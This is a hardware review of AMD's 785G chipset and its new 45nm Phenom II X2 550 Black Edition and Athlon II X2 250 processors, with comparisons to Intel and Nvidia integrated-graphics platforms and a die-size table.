Now, AMD is bringing a new product to the table, and the fresh 785G chipset is an evolution of the 780G; certainly not revolutionary. It was created to address some of the features that the 780G lacked, such as eight-channel LPCM audio over HDMI, picture-in-picture video acceleration, ATI Stream technology support, DirectX 10.1, and Windows 7 compatibility. In addition, AMD promises lower power usage with the 785G. None of these features represent a "killer app" for the company, especially since the competition already offers most of these capabilities in their existing products. But taken as a whole, the 785G is a very positive step in the right direction. That is, of course, assuming it can deliver the goods, which our testing will flesh out.
The State of IGP
While Intel's G45 for Socket 775 is over most of its teething problems and can playback a Blu-ray disc in a competent fashion, it isn't very impressive in the graphics department. Nvidia's 8200 for Socket AM2+ isn't much better when it comes to 3D horsepower, but Nvidia has addressed that weakness with its GeForce 9300/9400 chipsets for Socket 775. As far as AMD’s portfolio goes, the 780G is a fantastic low-budget chipset, and the 790GX is a solid midrange offering. With these products leading the IGP segment when it comes to price/performance superiority, why change the 780G now?
Perhaps AMD's best reason to introduce the 785G chipset isn't the chipset itself, but its new Phenom II-based processors that can be used with it, including the Athlon II. While the original Phenom was somewhat anemic compared to Intel's Core 2 offerings (and was stigmatized early on for its TLB issue), the Phenom II sports a more refined architecture that has returned AMD to price/performance leadership with some of its parts.
With this in mind, there probably isn't a better time to re-introduce the improved 785G as an alternative to Nvidia's 9300/9400, and to highlight the 785G's strengths over Intel's G45.
The Phenom II X2 550 BE
The Phenom II X2 550 BE
We actually get two new dual-core chips today, the sec
ond is the new Phenom II X2 550 Black Edition. Like all of the other chips in the Phenom II lineup, the X2 550 is simply a die-harvested Phenom II X4 part. In other words, what we have is a quad-core Phenom II with two of its cores disabled. Given that it’s still fairly early in GlobalFoundries’ 45nm manufacturing process, it makes sense to see so many harvested parts. I would expect these Phenom II X2 and perhaps even the X3 derivatives to either disappear or shift out of the limelight as AMD’s yields improve.
Because it’s based on the quad-core Phenom II processor, the X2 550 BE has a full 6MB L3 cache that the two cores can share. The L2 caches are still stuck at 512KB but with a large 6MB L3, there’s very little to complain about. The unlocked Black Edition part runs at 3.1GHz and retails for $102.
The Athlon II X2 & Phenom II X2: 45nm Dual-Core from AMD
The Athlon II X2 & Phenom II X2: 45nm Dual-Core from AMD
Take two Phenom II cores, increase their L2 caches to 1MB, leave out the L3 and you’ve got an Athlon II. The entire die measures only 117.5 mm^2 and is made up of a meager 234 million transistors. The table below compares the Athlon II’s die size to other competing parts:
| Processor | Cores | Manufacturing Process | L1 Cache | L2 Cache | L3 Cache | Die Size | Transistor Count |
| AMD Phenom II X2 | 2 | 45nm | 128KB per core | 1MB | 6MB | 258 mm2 | 758M |
| AMD Athlon II X2 | 2 | 45nm | 128KB per core | 1MB per core | 0MB | 117 mm2 | 234M |
| AMD Athlon X2 | 2 | 65nm | 128KB per core | 512KB per core | 2MB | 285 mm2 | 450M |
| AMD Athlon 64 X2 | 2 | 65nm | 128KB per core | 512KB per core | 0MB | 126 mm2 | 154M |
| Intel Pentium for Desktop | 2 | 45nm | 64KB per core | 2MB | 0MB | 82 mm2 | 228M |
The new Athlon II is actually AMD’s smallest dual core processor ever, even smaller than the original Athlon 64 X2. It’s also AMD’s first 45nm dual-core processor. It’s also AMD’s first Socket-AM3 processor to carry the Athlon brand (ok, I’ll stop). As an AM3 chip it will work in both AM3 and AM2+ motherboards, just like the Phenom II.
The Athlon II is only launching with one model today the 3.0GHz Athlon II X2 250. Priced at $87, it’s likely that we won’t see more Athlon II X2s until AMD is ready to further switch its lineup over to 45nm in order to keep up with demand.
Subscribe to:
Posts (Atom)
